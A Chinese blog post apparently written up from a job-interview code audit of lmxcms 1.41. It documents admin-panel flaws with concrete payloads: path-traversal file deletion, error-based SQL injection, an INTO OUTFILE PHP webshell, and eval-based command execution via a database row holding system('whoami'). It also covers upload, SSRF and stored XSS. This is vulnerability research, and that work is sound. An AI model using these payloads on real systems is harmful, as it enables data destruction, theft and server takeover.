前言:

1.这是参加四叶草安全的安全研究岗位面试考试,当时面试官发了我一套lmxcms的源码,让我进行审计,尽可能找出更多的漏洞,当时的结果旧纪录下来了,想着审都审了就做做个记录吧,上传到博客上来

0x01:后台文件管理处存在任意文件删除漏洞

http://127.0.0.1:83/admin.php后台文件管理处

随便选择一个图片,抓包,可以看到路径是用户输入的参数

对应的源码对应位置是

\m\FileModel.class.php,可以看到delete函数中的$data参数是传递过来的$_POST数组,

在$path[]=trim($fileInfo[1],”/“);处可以看到将$fileinfo[1]两侧的/移除了,然后在通过delteModel在数据库中删除对应fid后,将未经判断和过滤的$path直接使用unlink删除

这个时候就可以构造payload进行任意文件删除了

payload需要满足的条件是

payload必须形如:数字#####path

#####前面的数字是要满足parent:deleteModel()方法的中的数据库删除语句,如果此处没有数据或者数据或者数据不是数字,会导致sql查询失败,if条件不成立,无法进入unlink删除

如果没有#####,$fileinfo[1]就会是空,如下图所示,那么往下的$path[]=trim($fileInfo[1],”/“)的$path[]也会为空,就无法触发到unlink进行文件删除

验证:

在web根目录放置target.txt

构造payload:123#####../target.txt

成功删除

0X02:后台删除sql备份文件处存在任意文件删除

位置:系统管理,数据库备份与恢复

在这个地方可以备份数据库,我们首先点击下方的备份数据

数据备份完成后我们在恢复数据处发现可以删除备份文件

抓包,发现文件名直接就是可控的参数,猜测存在任意文件删除

定位到对应代码逻辑查看是否对filename参数有限制

\c\admin\BackdbActon.class.php处,$this-?delone是删除逻辑,此时$filename没有过滤

跟进后发现仍未过滤,直接将其进行拼接后删除,存在任意文件删除

在WWW目录下放置a.txt文件,并且构造filename参数为: ../../../a.txt即可成功删除

成功删除

0X03后台存在任意文件上传漏洞

后台文件设置处可以设置文件上传类型,对恶意后缀如php等后缀没有限制

系统管理->基本设置->文件设置

图片上传处位于:

内容管理处,随便点击一个关于我们进行编辑,上传php文件

后台中给还有多处文件上传,其他功能->焦点图->图片上传

0X04:后台存在sql注入漏洞

在后台处有明显的sql语句执行模块,尝试简单的查询语句后不会返回结果,但是语句失败会返回报错信息,故可以报错注入和延时注入

手工测试,payload: select extractvalue(1,concat(0x7e,(select database())));

成功获取数据库名称

payload:select extractvalue(1,concat(0x7e,(select table_name from
information_schema.tables where table_schema = DATABASE() limit 3,1)));获取表名

sqlmap获取表

如果数据库版本小于5.6.34且数据库用户权限较高,可直接利用into outfile写webshell直接getshell

1
select "<?php system($_GET['a']);?>" into outfile "D://phpstudy_pro//WWW//lmxcms1.41//shell.php";

0X05后台存在命令执行漏洞

**触发点1:**在\c\admin\AcquisiAction.class.php中,第319行

318行处eval函数拼接了$temdata[data],而这个数据是来自数据库lxm_cj_data表中的data字段的,通过后台采集处和后台的sql语句执行处可以直接控制该处的数据

触发点2:

在382行处同样遍历listdata中的数据进行拼接后使用eval执行,此处的listdata同样来自lxm_cj_data,不过listdata是lxm_cj_data中一行的全部字段,将他进行遍历,当遍历到data字段时触发命令执行

payload:多个payload字段不能重复,否则不能插入成功

1
insert into lmx_cj_data set id=2,lid=2,data="a;system('whoami')",uid=2,url=2,time=2,is_in=2;

构造payload触发showCjData方法:

**payload1:**通过整个CMS的方法调用机制可知道m是方法名,该php类文件为AcquisiAction,所以m参数为Acquisi,调用的函数为showCjData则参数a为showCjData,同时在sql查询的过程中还需要3个必须的参数分别是id,lid,cld,知道这些后构建我们的请求头

请求GET /admin.php?m=Acquisi&a=showCjData&id=2&lid=2&cid=2即可触发对应payload中id为2的payload

成功命令执行

payload2:

根据上面同理,只不过触发函数换成了caijiDataList,构造,发包,触发命令执行

0X06:后台存在SSRF漏洞

位于系统管理->采集管理

在修改采集目标时可将其设置为内网目标,可探测/攻击内网web服务

设置为内网80端口上的一个服务

未经过滤直接发起请求

0X07:后台多处存储型XSS

1.系统管理->采集管理->添加节点

节点名称和备注均可xss

2.专题管理->添加专题

专题名称处存在xss

3.栏目管理->添加栏目->栏目名称处存在xss

此处会在前台添加一个栏目造成前台XSS

点击该页面再次触发

4.以上的操作会导致系统管理->日志管理处css,这个地方会显示一些操作详细,其中便包含xss恶意代码